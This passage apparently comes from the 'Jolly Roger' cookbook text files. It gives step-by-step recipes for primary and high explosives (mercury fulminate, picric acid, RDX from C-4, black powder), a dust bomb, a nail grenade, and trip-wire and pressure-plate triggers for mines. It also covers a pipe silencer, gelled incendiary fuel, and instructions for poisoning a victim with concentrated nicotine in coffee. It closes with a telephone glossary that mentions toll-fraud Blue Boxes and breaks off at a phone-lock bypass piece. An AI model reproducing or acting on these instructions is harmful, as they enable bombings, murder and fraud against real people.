2 wires, 16 gauge (3/64 in. diameter approx.), 6 ft. long, insulated. 
Gasoline 

1 gallon glass jar, wide mouth (5 in. diameter by 6 in. high approx.) 
Sticks 

String 

Teaspoon 

Trays 

Cup 

Heavy cloth 

Knife 

Large flat pan or tray 


Procedure 


1) Mix 1/2 cup of salt into the one gallon glass jar with 3 litres 3 
quarts) of water. 

2) Add 2 teaspoons of battery acid to the solution and stir vigorously 
for 5 minutes. 

3) Strip about 4 inches of insulation from both ends of the two wires. 
4) With knife and sticks, shape 2 strips of wood 1 by 1/8 by 1-1/2. Tie 
the wood strips to the lead or carbon rods so that they are 1-1/2 incles 
apart. 

5) Connect the rods to the battery in a motor vehicle with the insulated 
wire. 

6) Submerge 4-1/2 inches of the rods in the salt water solution. 

7) With gear in neutral position, start the vehicle engine. Depress the 
accelerator approx. 1/5 of its full travel. 

8) Run the engine with the accelerator in this position for 2 hours, then 
shut it down for 2 hours. 

9) Repeat this cycle for a total of 64 hours while maintaining the level 


of the acid-salt water solution in the glass jar. 


CAUTION: This arrangement employs voltages which can be quite dangerous! 
Do not touch bare wire leads while engine is running!! 


10) Shut off the engine. Remove the rods from the glass jar and 

disconnect wire leads from the battery. 

11) Filter the solution through the heavy cloth into a flat pan or tray, 
leaving the sediment at the bottom of the glass jar. 

12) Allow the water in the filtered solution to evaporate at room 
temperature (approx. 16 hours). The residue is approximately 60% or more 
sodium chlorate which is pure enough to be used as an explosive 
ingredient. 
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Mercury Fulminate by the Jolly Roger 


Mercury Fulminate is used as a primary explosive in the fabrication 
of detonators. It is to be used with a booster explosive such as picric 
acid or RDX (which are elsewhere in this Cookbook). 


Material Required Source 


Nitric Acid, 90% conc. (1.48 sp. gr) Elsewhere in this 
Cookbook, or in 
industrial metal 
processors 

Mercury Thermometers, 
mercury switches, 
old radio tubes 

Ethyl (grain) alcohol (90%) 

Filtering material Paper towels 

Teaspoon measure (1/4, 1/2. and | tsp. 

capacity)-aluminum, stainless steel 
or wax coated 

Heat Source 

Clean wooden stick 

Clean water 

Glass containers 

Tape 

Syringe 


Procedure: 


1) Dilute 5 teaspoons of nitric acid with 2-1/2 teaspoons of clean water 
in a glass container by adding the acid to the water. 

2) Dissolve 1/8 teaspoon of mercury in the diluted nitric acid. This 
will yield dark red fumes. NOTE: It may be necessary to add water, on 
drop at a time, to the mercury-acid solution in order to start a 

reaction. 


CAUTION: Acid will burn skin and destroy clothing. If any is spilled, 
wash it away with a large quantity of water. Do NOT inhale fumes! 


3) Warm 10 teaspoons of the alcohol in a container until the alcohol 
feels warm to the inside of the wrist. 

4) Pour the metal-acid solution into the warm alcohol. Reaction should 
start in less than 5 minutes. Dense white fumes will be given off during 
the reaction. As time lapses, the fumes will become less dense. Allow 10 
to 15 minutes to complete reaction. Fulminate will settle to the bottom, 


CAUTION: This reaction generates large quantities of toxic, flammable 
fumes. The process MUST be conducted outdoors or in a well-ventilated 
area, away from sparks or open flames. DO NOT inhale fumes! 


5) Filter the solution through a paper towel into a container. Crystals 
may stick to the side of the container. If so, tilt and squirt water 
down the sides of the container until all of the material collects on 
the filter paper. 

6) Wash the crystals with 6 teaspoons of ethyl alcohol. 

7) Allow these mercury fulminate crystals to air dry. 


CAUTION: Handle dry explosive with great care. Do not scrape or handle 
it roughly! Keep away from sparks or open flames. Store in a cool, dry 


place. 
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Improvised Black Powder by the Jolly Roger 


Black powder can be prepared in a simple, safe manner. It may be used as 
blasting or gun powder. 


Material Required 


Potassium Nitrate, granulated, 3 cups (3/4 liter) 

Wood charcoal, powdered, 2 cups 

Sulfur, powdered, 1/2 cup 

Alcohol, 5 pints (2-1/2 liters) Qvhiskey, rubbing alcohol, etc.) 

Water, 3 cups (3/4 liter) 

Heat source 

2 buckets - each 2 gallon (7-1/2 litres) capacity, at least one of which is 
heat resistant (metal, ceramic, etc.) 

Flat window screening, at least | foot (0 cm) square 

Large wooden stick 

Cloth, at leat 2 feet (60 cm) square 


Procedure: 


1) Place alcohol in one of the buckets. 

2) Place potassium nitrate, charcoal, and sulfur in the heat resistant 

bucket. Add 1 cup water and mix thoroughly with wooden stick until al] 
ingrediants are dissolved. 

3) Add remaining water (2 cups) to mixture, Place bucket on heat source and 
stir until small bubbles begin to form. 


CAUTION: DO NOT boil mixture. Be sure ALL mixture stays wet. If any is dry, 
as on sides of pan, it may ignite! 


4) Remove bucket from heat and pour mixture into alcohol while stirring 
vigorously, 

5) Let alcohol mixture stand about 5 minutes. Strain mixture through cloth to 
obtain black powder. Discard liquid. Wrap cloth around black powder and 
squeeze to remove all excess liquid. 

6) Place screening over dry bucket. Place workable amount of damp powder on 
screen and granulate by rubbing solid through screen. NOTE: If granulated 
particles appear to stick together and change shape, recombine entire batch 
of powder and repeat steps 5 & 6. 

7) Spread granulated black powder on flat, dry surface so that layer about 

1/2 inch (1-1/4 cm) is formed. Allow to dry. Use radiator, or direct 

sunlight. This should be dried as soon as possible, preferably in an hour. 

The longer the drying period, the less effective the black powder. 


CAUTION: Remove from heat AS SOON AS granules are dry. Black powder isnow 
ready to use. 


Nitric Acid by the Jolly Roger 


Nitric Acid is used in the preparation of many explosives, incediary 
mixtures, and acid delay timers. It may be prepared by distilling a mixture 
of potassium nitrate and concentrated sulfuric acid. 


Material Required Sources 


Potassium Nitrate (2 parts by volume) Elsewhere in this 
Cookbook, or drug store 

CONCENTRATED sulfuric acid (1 part by volume) Motor vehicle batteries 
Industrial plants 

2 bottles or ceramin jugs (narrow necks are 

preferable) 

Pot or frying pan 

Heat source (wood, charcoal, or coal) 

Tape (paper, electrical, masking, but NOT cellophane!) 

Paper or rags 


IMPORTANT: If sulfuric acid is obtained from a motor vehicle battery, 
concentrate it by boiling it UNTIL white fumes appear. DO NOT INHALE FUMES 


NOTE: The amount of nitric acid produced is th same as the amount of 
potassium nitrate. Thus, for two tablespoons of nitric acid, use 2 

tablespoons of potassium nitrate and 1 tablespoonful of concentrated sulfuric 
acid. 


Procedure: 


1) Place dry potassium nitrate in bottle or jug. Add sulfuric acid. Do not 
fill the bottle more than 1/4 full. Mix until paste is formed. 


CAUTION: DO NOT INHALE FUMES! 


2) Wrap paper or rags around necks of two bottles. securly tape necks of two 
bottles together. Be sure that bottles are flush against each other and that 
there are no air spaces. 

3) Support bottles on rocks or cans so that empty bottle is SLIGHTLY lower 
than bottle containing paste so that nitric acid that is formed in receiving 
bottle will not run into other bottle. 

4) Build fire in pot or frying pan. 

5) Gently heat bottle containing mixture by gently moving fire in and out. As 
red fumes begin to appear periodically pour cool water over empty receiving 
bottle. Nitric acid will befin to form in receiving bottle. 


CAUTION: Do not overheat or wet bottle containing mixture or it may shatter. 


As an added precaution, place bottle to be heated in heat resistant container 
filled with sand or gravel. Heat this outer container to produce nitric acid. 


6) Continue the above process until no more red fumes are formed. If the 
nitric acid formed in the receiving bottle is not clear (cloudy) pour it into 
cleaned bottle and repeat steps 2-6. 


CAUTION: Nitric acid should be ket away from all combustables and should be 
kept ina SEALED CERAMIC OR GLASS container. DO NOT inhale fumes! 
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Dust Bomb Instructions by the Jolly Roger 


An initiator which will initiate common material to produce dust 
explosions can be rapidly and easily constructed. This type of charge is 
ideal for the destruction of enclosed areas such as rooms or buildings. 


Material Required 

A flat can, 3 in. (8 cm) in diameter and 1-1/2 in. (3-3/4 cm) high. A 6- 
1/2 ounce tuna can serves the purpose quite well. 

Blasting cap 

Explosive 

Aluminum (may be wire, cut sheet, flattened can, or powder) 

Large nail, 4 in. (10 cm) long 

Wooden rod - 1/4 in. (6 mm) diameter 

Flour, gasoline, and powder or chipped aluminum 


NOTE: Plastic explosive produce better explosions than cast explosives. 


Procedure: 


1) Using the nail, press a hole through the side of the tuna can 3/8 inch 
to 1/2 inch (1 to 1-1/2 cm) from the bottom. Using a rotating and lever 
action, enlarge the hole until it will accomodate the blasting cap. 

2) Place the wooden rod in the hole and position the end of the rod at the 
center of the can. 

3) Press explosive into the can, being sure to surround the rod, until it 

is 3/4 inch (2 cm) from the top of the can. Carefully remove the wooden 
rod. 
4) Place the aluminum metal on top of the explosive. 

5) Just before use, insert the blasting cap into the cavity made by the 


rod. The initiator is now ready to use. 


NOTE: If it is desired to carry the initiator some distance, cardboard may 
be pressed on top of the aluminum to insure against loss of material. 


How to Use: 


This particular unit works quite well to initiate charges of five 
pounds of flour, 1/2 gallon (1-2/3 litres) of gasoline, or two pounds of 
flake painters aluminum. The solid materials may merely be contained in 
sacks or cardboard cartons. The gasoline may be placed in plastic coated 
paper milk cartons, as well as plastic or glass bottles. The charges are 
placed directly on top of the initiator and the blasting cap is actuated 
electrically or by a fuse depending on the type of cap employed. this will 
destroy a 2,000 cubic feet enclosure (building 10 x 20 x 10 feet). 


Note: For larger enclosures, use proportionally larger initiators and 
charges. 


Carbon-Tet Explosive by the Jolly Roger 


A moist explosive mixture can be made from fine aluminum powder combined 
with carbon tetrachloride or tetrachloroethylene. This explosive can be 
detonated with a blasting cap. 


Material Required Source 
Fine aluminum bronzing powder Paint store 
Carbon Tetrachloride Pharmacy, or fire 

or extinguisher fluid 
tetrachloroethylene Dry cleaners, pharmacy 
Stirring rod (wood) 


Mixing container (bowl, bucket, etc.) 
Measuring container (cup, tablespoon, etc.) 
Storage container (jar, can, etc.) 

Blasting cap 

Pipe, can or jar 


Procedure: 


1) Measure out two parts aluminum powder to one part carbon tetrachloride or 


tetrachlorethylene liquid into mixing container, adding liquid to powder 
while stirring with the wooden rod. 
2) Stir until the mixture becomes the consistency of honey syrup. 


CAUTION: Fumes from the liquid are dangerous and should not be inhaled. 


3) Store explosive in a jar or similar water proof container until ready to 
use. The liquid in the mixture evaporates quicky when not confined. 


NOTE: Mixture will detonate in this manner for a period of 72 hours. 


How to Use: 


1) Pour this mixture into an iron or steel pipe which has an end cap threaded 
on one end. Ifa pipe is not available, you may use a dry tin can or glass 

jar. 

2) Insert blasting cap just beneath the surface of the explosive mix. 


NOTE: Confining the open end of the container will add to the effectiveness 
of the explosive. 
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Making Picric Acid from Aspirin by the Jolly Roger 


Picric Acid can be used as a booster explosive in detonators, a high 
explosive charge, or as an intermediate to preparing lead picrate. 


Material Required 

Aspirin tablets (5S grains per tablet) 

Alcohol, 95% pure 

Sulfuric acid, concentrated, (if battery acid, boil until white fumes 
disappear) 

Potassium Nitrate (see elsewhere in this Cookbook) 

Water 

Paper towels 

Canning jar, 1 pint 

Rod (glass or wood) 

Glass containers 

Ceramic or glass dish 

Cup 

Teaspoon 

Tablespoon 


Pan 
Heat source 
Tape 


Procedure: 


1) Crush 20 aspirin tablets in a glass container. Add | teaspoon of water 
and work into a paste. 

2) Add approximately 1/3 to 1/2 cup of alcohol (100 millilitres) to the 
aspirin paste; stir while pouring. 

3) Filter the alcohol-aspirin solution through a paper towel into another 
glass container. Discard the solid left in the paper towel. 

4) Pour the filtered solution into a glass or ceramic dish. 

5) Evaporate the alcohol and water from the solution by placing the dish 
into a pan of hot water. White powder will remain in the dish after 
evaporation. 


NOTE: The water in the pan should be at hot bath temperature, not boiling, 
approx. 160 to 180 degress farenheit. It should not burn the hands. 


6) Pour 1/3 cup (80 millilitres) of concentrated sulfuric acid into a 
canning jar. Add the white powder to the sulfuric acid. 

7) Heat canning jar of sulfuric acid in a pan of simmering hot water bath 
for 15 minutes; then remove jar from the bath. Solution will turn to a 
yellow-orange color. 

8) Add 3 level teaspoons (15 grams) of potassium nitrate in three portions 
to the yellow-orange solution; stir vigorously during additions, Solution 
will turn red, then back to a yellow-orange color. 

9) Allow the solution to cool to ambient room temperature while stirring 
occasionally. 

10) Slowly pour the solution, while stirring, into 1-1/4 cup 300 
millilitres) of cold water and allow to cool. 

11) Filter the solution through a paper towel into a glass container. Light 
yellow particles will collect on the paper towel. 

12) Wash the light yellow particles with 2 tablespoons (25 millilitres) of 
water. Discard the waste liquid in the container. 

13) Place articles in ceramic dish and set in a hot water bath, as in step 
5, for 2 hours. 
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Reclamation of RDX from C-4 Explosives by the Jolly Roger 


RDX can be obtained from C-4 explosives with the use of gasoline. It can 
be used as a booster explosive for detonators or as a high explosive charge. 


Material Required 
Gasoline 

C-4 explosive 

2 - pint glass jars, wide mouth 
Paper towels 

Stirring rod (glass or wood) 
Water 

Ceramic or glass dish 

Pan 

Heat source 

Teaspoon 

Cup 

Tape 


NOTE: Water, Ceramic or glass dish, pan, & heat source are all optional. The 
RDX can be air dried instead. 


Procedure: 


1) Place 1-1/2 teaspoons (15 grams) of C-4 explosive in one of the pint jars. 
Add 1 cup (240 milliliters) of gasoline. 


NOTE: These quantities can be increased to obtain more RDX, For example, use 2 
gallons of gasoline per | cup of C-4. 


2) Knead and stir the C-4 with the rod until the C-4 has broken down into small 
particles. Allow mixture to stand for 1/2 hour. 

3) Stir the mixture again until a fine white powder remains on the bottom of 
the jar. 

4) Filter the mixture through a paper towel into the other glass jar. Wash the 
particles collected on the paper towel with 1/2 cup (120 milliliters) of 

gasoline. Discard the waste liquid. 

5) Place the RDX particles in a glass or ceramic dish. Set the dish in a pan of 
hot water, not boiling and dry for a period of 1 hour. 


NOTE: The RDX particles may be air dried for a period of 2 to 3 hours. 
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Egg-based Gelled Flame Fuels by the Jolly Roger 


The white of any bird egg can be used to gel gasoline for use as a 
flame fuel which will adhere to target surfaces. 


Materials Required 


Parts by 
Volume Ingredient How used Common Source 
85 Gasoline Motor Fuel Gas Stations 
Stove Fuel | Motor Vehicle 
Solvent 
14 Egg Whites Food Food Store 
Industrial Farms 
Processes 
Any one of the following: 
1 Table Salt Food Sea Water 


Industrial Natural Brine 
Processes Food Store 


3 Ground Coffee Food Coffee Plant 
Food Store 

3 Dried Tea Leaves Food Tea Plant 
Food Store 

3 Cocoa Food Cacao Tree 
Food Store 

2 Sugar Sweetening Sugar Cane 


foods Food Store 


1 Saltpeter Pyrotechnics Natural 
(Potassium Explosives Deposits 
Nitrate) Matches Drug Store 
Medicine 
i Epsom Salts Medicine Natural 


Mineral Water Kisserite 


Industrial Drug Store 
Processes Food Store 


2 Washing Soda Washing Cleaner Food Store 
(Sal Soda) Medicine Drug Store 
Photography Photo Supply 
Store 
11/2 Baking Soda Baking Food Store 


Manufacturing Drug Store 
of: Beverages 


Medicines 
and 
Mineral 
Waters 
11/2 Aspirin Medicine Drug Store 
Food Store 


Procedure: 


CAUTION: Make sure that ther are no open flames in the area when mixing 
flame fuels! NO SMOKING!! 


1) Seperate the egg white from the yolk. This can be done by breaking the 
egg into a dish and carefully removing the yolk with a spoon, 

2) Pour egg white into a jar, bottle, or other container, and add gasoline. 
3) Add the salt (or other additive) to the mixture and stir occasionally 
until gel forms (about 5 to 10 minutes). 


NOTE: A thicker gelled flame fuel can be obtained by putting the capped jar 

in hot (65 degrees Centegrade) water for about 1/2 hour and then letting 

them cool to room temperature, (DO NOT HEAT THE GELLED FUEL CONTAINING 
COFFEE!!) 
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Clothespin Switch by the Jolly Roger 


A spring type clothespin is used to make a circuit closing switch to 
actuate explosive charges, mines, booby traps, and alarm systems. 


Material Required: 


Spring type clothespin 

Sold copper wire -- 1/16 in. (2 mm) in diameter 
Strong string on wire 

Flat piece of wood (roughly 1/8 x 1" x 2") 
Knife 


Procedure: 


1) Strip four in. (10 cm) of insulation from the ends of 2 solid copper 
wires. Scrape the copper wires with pocket knife until the metal is 
shiny. 

2) Wind one scraped wire tightly on jaw of the clothespin, and the other 
wire on the other jaw. 

3) Make a hole in one end of the flat piece of wood using a knife, heated 
nail or drill. 

4) Tie strong string or wire through the hole. 

5) Place flat piece of wood between the jaws of the clothespin switch. 


Basic Firing Circuit: 


| [peteetanehaseetanste ese \ 
| initiator |---------- \ | strong 
weveecene neces | | twine 
| | \ 
| peers 
J seeeeeeee 
| | \clothespin \ 
\ / switch 
\ / 
\ / 
\ / 
+ - 
i | 
| battery] 


When the flat piece of wood is removed by pulling the string, the 
jaws of the clothespin will close, completing the circuit. 


CAUTION: Do not attach the battery until the switch and trip wire have 
been emplaced and examined. Be sure that the flat piece of wood is 
seperating the jaws of the switch. 
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Flexible Plate Switch by the Jolly Roger 


This flexible plate switch is used for initiating emplaced mines and 
explosives. 


Material Required: 


Two flexible metal sheets 
one approximately 10 in. (25 cm) square 
one approximately 10 in. x 8 in, (20 cm) 
Piece of wood 10 in. square x 1 in. thick 
Four soft wood blocks 1 in. x 1 in. x 1/4 in. 
Eight flat head nails, 1 in. long 
Connecting wires 
Adhesive tape 


Procedure: 


1) Nail 10 in. by 8 in. metal sheet to 10 in. square piece of wood so that 
1 in. of wood shows on each side of the metal. Leave one of the nails 
sticking up about 1/4 in. 

2) Strip insulation from the end of one connecting wire. Wrap this end 
around the nail and drive the nail all the way in. 

3) Place the four wood blocks on the corners of the wood base. 

4) Place the 10 in. square flexible metal sheet so that it rests on the 
blocks in line with the wood base. 

5) Drive four nails through the metal sheet and the blocks (1 per block) 
to fasten the sheet to the wood base. A second connecting wire is atached 
to one of the nails as in step #2. 

6) Wrap the adhesive tape around the edges of the plate and wood base. 
This will assure that no dirt or other foreign matter will get between the 
plates and prevent the switch from operating. 


How to use: 


The switch is placed in a hole in the path of expected traffic and covered 
with a thin layer of dirt or other camouflaging material. The mine or 
other explosive device connected to the switch can be buried with the 
switch or emplaced elsewhere as desired. 


When a vehicle passes over the switch, the two metal plates make contact 
closing the firing circuit. 
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Flexible Plate Switch by the Jolly Roger 


This flexible plate switch is used for initiating emplaced mines and 
explosives. 


Material Required: 


Two flexible metal sheets 
one approximately 10 in. (25 cm) square 
one approximately 10 in. x 8 in. (20 cm) 
Piece of wood 10 in. square x 1 in. thick 
Four soft wood blocks 1 in. x Lin. x 1/4 in. 
Eight flat head nails, 1 in. long 
Connecting wires 
Adhesive tape 


Procedure: 


1) Nail 10 in. by 8 in. metal sheet to 10 in. square piece of wood so that 
1 in. of wood shows on each side of the metal. Leave one of the nails 
sticking up about 1/4 in. 

2) Strip insulation from the end of one connecting wire. Wrap this end 
around the nail and drive the nail all the way in. 

3) Place the four wood blocks on the corners of the wood base. 

4) Place the 10 in. square flexible metal sheet so that it rests on the 
blocks in line with the wood base. 

5) Drive four nails through the metal sheet and the blocks (1 per block) 
to fasten the sheet to the wood base. A second connecting wire is atached 
to one of the nails as in step #2. 

6) Wrap the adhesive tape around the edges of the plate and wood base. 
This will assure that no dirt or other foreign matter will get between the 
plates and prevent the switch from operating. 


How to use: 


The switch is placed in a hole in the path of expected traffic and covered 
with a thin layer of dirt or other camouflaging material. The mine or 
other explosive device connected to the switch can be buried with the 
switch or emplaced elsewhere as desired. 


When a vehicle passes over the switch, the two metal plates make contact 
closing the firing circuit. 
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Low Signature Systems (Silencers) by the Jolly Roger 


Low signature systems (silencers) for improvised small arms weapons 
can be made from steel gas or water pipe and fittings. 


Material Required: 

Grenade Container 

Steel pipe nipple, 6 in. (15 cm) long - (see table | for diameter) 
2 steel pipe couplings - (see table 2 for dimensions) 

Cotton cloth - (see table 2) 

Drill 

Absorbent cotton 


Procedure: 


1) Drill hole in grenade container at both ends to fit outside diameter 
of pipe nipple. (see table 1) 


a> [anne enn nnnennenneeenee \ 
/ | | 
2.75 in| —) ( <-holes 
dia. \ | | 
& Neste ee / 
Jovreeceeeeeesccee | 
5 in. 


2) Drill four rows of holes in pipe nipple. Use table 1 for diameter and 
location of holes. 


(Note: I suck at ASCII art!) 


(size of hole) | \/ (space between) 
B (dia.) A 


3) Thread one of the pipe couplings on the drilled pipe nipple. 

4) Cut coupling length to allow barrel of weapon to thread fully into low 
signature system. Barrel should butt against end of the drilled pipe 
nipple. 

5) Seperate the top half of the grenade container from the bottom half. 
6) Insert the pipe nipple in the drilled hole at the base of the bottom 
half of the container. Pack theabsorbent cotton inside the container and 
around the pipe nipple. 

7) Pack the absorbent cotton in top half of grenade container leaving 
hole in center, Assemble container to the bottom half. 

8) Thread the other coupling onto the pipe nipple. 


Note: A longer container and pipe nipple, with same "A” and "B" 
dimensions as those given, will furthur reduce the signature of the 
system. 


How to use: 


1) Thread the low signature system on the selected weapon securely. 
2) Place the proper cotton wad size into the muzzle end of the system 
(see table 2) 

3) Load weapon 

4) Weapon is now ready for use 


TABLE | -- Low Signature System Dimensions 


(Coupling) Holes per (4 rows) 
A B Cc D Row Total 


9mm 3/8 1/4 1/4 1/4 12 48 
7.62 mm 3/8 1/4 1/4 1/4 12 48 
,22 cal 1/4 5/32) «1/8* 18 14 50 


*Extra Heavy Pipe 
(All dimensions in inches) 


TABLE 2 -- Cotton Wadding - Sizes 


Weapon Cotton Wadding Size 
en 1-1/2x6 inches 
.38 cal 1 x 4 inches 

9mm 1 x 4 inches 
7.62 mm 1 x 4 inches 
.22 cal Not needed 
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Delay Igniter from a Cigarette by the Jolly Roger 


A simple and economical (everyone wants to save money haha) time 
delay can be made with a common cigarette. 


Materials Required: 


Cigarette 

Paper match 

String (shoelace or similar cord) 

Fuse cord (improvised or commercial) 


Procedure: 


1) Cut end of fuse cord at a slant fo expose inner core 

2) Light cigarette in normal fashion. Place a paper match so that the had 
is over exposed exposed end of fuse cord and tie both to the side of the 
burning cigarette with string. 

3) Position the burning cigarette with fuse so that it burns freely. A 
suggested method is to hang the delay on a twig. 


Note: Common dry cigarettes burn about 1 inch every 7 or 8 minutes in 
still air. (Now I am talking about all except American brands, which burn 
about | inch every 4-5 minutes) If the fuse cord is place one inch from 
the burning end of the cigarette a time delay of 7 or 8 minutes will 
result. 
Delay time will vary depending upon type of cigarette, wind, 
moisture, and other atmosphere conditions (get to know your cigarette!) 
To obtain accurate delay time, a test run should be made under 
"use" conditions. 


Exe eee eee Jolly Roger 


Nicotine by the Jolly Roger 


Nicotine is an abundant poison. Easily found in tobacco 
products, in concentrated form a few drops can quickly kill 
someone. Here is how to concentrate it: 


First get a can of chewing tobacco or pipe tobacco. Remove 
the contents and soak in water overnight in a jar (about 2/3 cup 
of water will do...). In the morning, strain into another jar the 
mixture through a porous towel. Then wrap the towel around the 
ball of tobacco and squeeze it until all of the liquid is in the 
jar. Throw away the tobacco--you will not need it anymore. 


Now you have two options. I recommend the first. It makes the 
nicotine more potent. 

1) Allow to evaporate until a sticky syrup results in the 
jar. This is almost pure nicotine (hell, it is pure enough for 
sure!). 

2) Heat over low flame until water is evaporated and a thick 
sticky syrup results (I don't know how long it takes... shouldn't 
take too long, though.). 


Now all you have to do, when you wish to use it, is to put 
a few drops in a medicine dropper or equivalent, and slip about 4 
or 5 drops into the victim's coffee. Coffee is recommended since it 


will disguise the taste. Since nicotine is a drug, the victim 
should get quite a buzz before they turn their toes up to the 
daisies, so to speak. 


Note: If the syrup is too sticky, dilute it with a few drops 
of water. And while you are at it, better add an extra drop to the 
coffee just to be sure! 


elieet ates Jolly Roger 


Nail Grenade by the Jolly Roger 


Effective fragmentation grenades can be made from a block of tnt or 
other blasting explosive and nails. 


Material Required: 


Block of TNT or other blasting explosive 

Nails 

Non-electric (military or improvised) blasting cap 
Fuse Cord 

Tape, string, wire, or glue 


Procedure: 


1) If an explosive charge other than a standard TNT block is used, make a 
hole in the center of the charge for inserting the blasting cap. TNT can 

be drilled with relative safety. With plastic explosives, a hole can be 
made by pressing a round stick into the center of the charge. The hole 
should be deep enough that the blasting cap is totally within the 
explosive. 

2) Tape, tie, or glue one or two rows of closely packed nails to the 

sides of the explosive block. Nails should completely cover the four 
surfaces of the block. 

3) Place blasting cap on one end of the fuse cord and crimp with pliers. 


NOTE: To find out how long the fuse cord should be, check the time it 
takes a known length to burn. If 12 inches (30 cm) burns for 30 seconds, 
a 10 second delay will require a 4 inch (10 cm) fuse. 


4) Insert the blasting cap in the hole in the block of explosive. Tape or 
tie fuse cord securly in place so that it will not fall out when the 


grenade is thrown. 


Alternate Use: 


An effective directional anti-personnel mine can be made by placing nails 
on only one side of the explosive block. For thi case, and electric 
blasting cap can be used. 


waeeeee eee e reece Jolly Roger 


The Bell Glossary courtesy of the Jolly Roger 


The Bell Glossary - 
by 

A<\ As\ 

</>\>ad <A>\>arvin 


ACD: Automatic Call Distributor - A system that automatically distributes calls 
to operator pools (providing services such as intercept and directory 
assistance), to airline ticket agents, etc. 


Administration: The tasks of record-keeping, monitoring, rearranging, 
prediction need for growth, etc. 


AIS: Automatic Intercept System - A system employing an audio-response unit 
under control of a processor to automatically provide pertinent info to callers 
routed to intercept. 


Alert: To indicate the existence of an incoming call, (ringing). 


ANI: Automatic Number Identification - Often pronounced "Annie," a facility for 
automatically identify the number of the calling party for charging purposes. 


Appearance: A connection upon a network terminal, as in "the line has two 
network appearances.” 


Attend: The operation of monitoring a line or an incoming trunk for off-hook or 
seizure, respectively. 


Audible: The subdued "image" of ringing transmitted to the calling party during 
ringing; not derived from the actual ringing signal in later systems. 


Backbone Route: The route made up of final-group trunks between end offices in 
different regional center areas. 


BHC: Busy Hour Calls - The number of calls placed in the busy hour. 


Blocking: The ratio of unsuccessful to total attempts to use a facility; 
expresses as a probability when computed a priority. 


Blocking Network: A network that, under certain conditions, may be unable to 
form a transmission path from one end of the network to the other. In general, 
all networks used within the Bell Systems are of the blocking type. 


Blue Box: Equipment used fraudulently to synthesize signals, gaining access to 
the toll network for the placement of calls without charge. 


BORSCHT Circuit: A name for the line circuit in the central office. It 
functions as a mnemonic for the functions that must be performed by the 
circuit: Battery, Overvoltage, Ringing, Supervision, Coding, Hybrid, and 
Testing. 


Busy Signal: (Called-line-busy) An audible signal which, in the Bell System, 
comprises 480hz and 620hz interrupted at 60IPM. 


Bylink: A special high-speed means used in crossbar equipment for routing calls 
incoming from a step-by-step office. Trunks from such offices are often 

referred to as "bylink” trunks even when incoming to noncrossbar offices; they 
are more properly referred to as "dc incoming trunks." Such high-speed means 
are necessary to assure that the first incoming pulse is not lost. 


Cable Vault: The point which phone cable enters the Central Office building. 
CAMA: Centralized Automatic Message Accounting - Pronounced like Alabama. 
CCIS: Common Channel Interoffice Signaling - Signaling information for trunk 
connections over a separate, nonspeech data link rather that over the trunks 
themselves, 

CCITT: International Telegraph and Telephone Consultative Committee- An 
International committee that formulates plans and sets standards for 


intercountry communication means. 


CDO: Community Dial Office - A small usually rural office typically served by 


step-by-step equipment. 


CO: Central Office - Comprises a switching network and its contro! and support 
equipment. Occasionally improperly used to mean "office code." 


Centrex: A service comparable in features to PBX service but implemented with 
some (Centrex CU) or all (Centrex CO) of the control in the central office. In 
the later case, each station's loop connects to the central office. 


Customer Loop: The wire pair connecting a customer's station to the central 
office. 


DDD: Direct Distance Dialing - Dialing without operator assistance over the 
nationwide intertoll network. 


Direct Trunk Group: A trunk group that is a direct connection between a given 
originating and a given terminating office. 


EOTT: End Office Toll Trunking - Trunking between end offices in different toll 
center areas. 


ESB: Emergency Service Bureau - A centralized agency to which 911 "universal" 
emergency calls are routed. 


ESS: Electronic Switching System - A generic term used to identify as a class, 
stored-program switching systems such as the Bell System's No.1 No.2, No.3, 
No.4, or No.5. 


ETS: Electronic Translation Systems - An electronic replacement for the card 
translator in 4A Crossbar systems. Makes use of the SPC 1A Processor. 


False Start: An aborted dialing attempt. 

Fast Busy: (often called reorder) - An audible busy signal interrupted at twice 
the rate of the normal busy signal; sent to the originating station to indicate 
that the call blocked due to busy equipment. 

Final Trunk Group: The trunk group to which calls are routed when available 
high-usage trunks overflow; these groups generally "home" on an office next 


highest in the hierarchy. 


Full Group: A trunk group that does not permit rerouting off-contingent foreign 
traffic; there are seven such offices. 


Glare: The situation that occurs when a two-way trunk is seized more or less 


simultaneously at both ends. 


High Usage Trunk Group: The appellation for a trunk group that has alternate 
routes via other similar groups, and ultimately via a final trunk group to a 
higher ranking office. 


Intercept: The agency (usually an operator) to which calls are routed when made 
to a line recently removed from a service, or in some other category requiring 
explanation. Automated versions (ASI) with automatic voiceresponse units are 
growing in use. 


Interrupt: The interruption on a phone line to disconnect and connect with 
another station, such as an Emergence Interrupt. 


Junctor: A wire or circuit connection between networks in the same office. The 
functional equivalent to an intraoffice trunk. 


MF: Multifrequency - The method of signaling over a trunk making use of the 
simultaneous application of two out of six possible frequencies. 


NPA: Numbering Plan Area. 


ONI: Operator Number Identification - The use of an operator ina CAMA office 
to verbally obtain the calling number of a call originating in an office not 
equipped with ANI. 


PBX: Private Branch Exchange - (PABX: Private Automatic Branch Exchange) An 
telephone office serving a private customer, Typically , access to the outside 
telephone network is provided. 


Permanent Signal: A sustained off-hook condition without activity (no dialing 
or ringing or completed connection); such a condition tends to tie up 
equipment, especially in earlier systems. Usually accidental, but sometimes 
used intentionally by customers in high-crime-rate areas to thwart off 
burglars. 


POTS: Plain Old Telephone Service - Basic service with no extra "frills". 
ROTL: Remote Office Test Line - A means for remotely testing trunks. 


RTA: Remote Trunk Arrangement - An extension to the TSPS system permitting its 
services to be provided up to 200 miles from the TSPS site. 


SF: Single Frequency. A signaling method for trunks: 2600hz is impressed upon 
idle trunks. 


Supervise: To monitor the status of a call. 


SxS: (Step-by-Step or Strowger switch) - An electromechanical office type 
utilizing a gross-motion stepping switch as a combination network and 
distributed control. 


Talkoff: The phenomenon of accidental synthesis of a machine-intelligible 
signal by human voice causing an unintended response. "whistling a tone". 


Trunk: A path between central offices; in general 2-wire for interlocal, 4-wire 
for intertoll. 


TSPS: Traffic Service Position System - A system that provides, under stored- 
program control, efficient operator assistance for toll calls. It does not 
switch the customer, but provides a bridge connection to the operator. 


X-bar: (Crossbar) - An electromechanical office type utilizing a "fine-motion" 
coordinate switch and a multiplicity of central controls (called markers). 
There are four varieties: 

No.1 Crossbar: Used in large urban office application; (1938) 

No 3 Crossbar: A small system started in (1974), 

No.4A/4M Crossbar: A 4-wire toll machine; (1943). 

No.5 Crossbar: A machine originally intended for relatively small 

suburban applications; (1948) 
Crossbar Tandem: A machine used for interlocal office switching. 


Phone Dial Locks -- How to Beat'em courtesy of the Jolly Roger 


Have you ever been in an office or somewhere and wanted to make a free phone 
